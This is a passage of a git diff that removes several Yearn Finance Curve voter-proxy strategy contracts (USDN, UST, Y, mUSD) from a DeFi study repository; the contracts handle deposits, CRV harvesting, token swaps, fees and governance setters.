-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(wbtc != address(_asset), "wbtc");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = wbtc;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _wbtc = IERC20(wbtc).balanceOf(address(this));
-        if (_wbtc > 0) {
-            IERC20(wbtc).safeApprove(curve, 0);
-            IERC20(wbtc).safeApprove(curve, _wbtc);
-            ICurveFi(curve).add_liquidity([0, _wbtc], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveUSDNVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveUSDNVoterProxy.sol
deleted file mode 100644
index e3ddf7bdd..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveUSDNVoterProxy.sol
+++ /dev/null
@@ -1,224 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveUSDNVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x4f3E8F405CF5aFC05D68142F3783bDfE13811522);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0x094d12e5b541784701FD8d65F11fc0598FBC6332);
-    address public constant gauge = address(0xF98450B5602fa59CC66e1379DFfB6FDDc724CfC4);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 500;
-    uint256 public strategistReward = 50;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0xC17ADf949f524213a540609c386035D7D685B16F);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveUSDNVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(curve, 0);
-            IERC20(dai).safeApprove(curve, _dai);
-            ICurveFi(curve).add_liquidity([0, _dai, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveUSTVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveUSTVoterProxy.sol
deleted file mode 100644
index c92363a25..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveUSTVoterProxy.sol
+++ /dev/null
@@ -1,224 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveUSTVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x94e131324b6054c0D789b190b2dAC504e4361b53);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0xB0a0716841F2Fc03fbA72A891B8Bb13584F52F2d);
-    address public constant gauge = address(0x3B7020743Bc2A4ca9EaF9D0722d42E20d6935855);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 500;
-    uint256 public strategistReward = 50;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0xC17ADf949f524213a540609c386035D7D685B16F);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveUSTVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(curve, 0);
-            IERC20(dai).safeApprove(curve, _dai);
-            ICurveFi(curve).add_liquidity([0, _dai, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveYVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveYVoterProxy.sol
deleted file mode 100644
index ba76dcc70..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveYVoterProxy.sol
+++ /dev/null
@@ -1,209 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IToken.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveYVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
-    address public constant curve = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
-
-    address public constant gauge = address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    uint256 public keepCRV = 1000;
-    uint256 public constant keepCRVMax = 10000;
-
-    uint256 public performanceFee = 500;
-    uint256 public constant performanceMax = 10000;
-
-    uint256 public withdrawalFee = 50;
-    uint256 public constant withdrawalMax = 10000;
-
-    address public proxy;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveYVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(ydai != address(_asset), "ydai");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(uni, 0);
-            IERC20(crv).safeApprove(uni, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(ydai, 0);
-            IERC20(dai).safeApprove(ydai, _dai);
-            yERC20(ydai).deposit(_dai);
-        }
-        uint256 _ydai = IERC20(ydai).balanceOf(address(this));
-        if (_ydai > 0) {
-            IERC20(ydai).safeApprove(curve, 0);
-            IERC20(ydai).safeApprove(curve, _ydai);
-            ICurveFi(curve).add_liquidity([_ydai, 0, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(performanceMax);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurvemUSDVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurvemUSDVoterProxy.sol
deleted file mode 100644
index b532a40b0..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurvemUSDVoterProxy.sol
+++ /dev/null
@@ -1,224 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurvemUSDVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x1AEf73d49Dedc4b1778d0706583995958Dc862e6);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0x78CF256256C8089d68Cde634Cf7cDEFb39286470);
-    address public constant gauge = address(0x5f626c30EC1215f4EdCc9982265E8b1F411D1352);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 1000;
-    uint256 public strategistReward = 1000;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0xC17ADf949f524213a540609c386035D7D685B16F);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurvemUSDVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
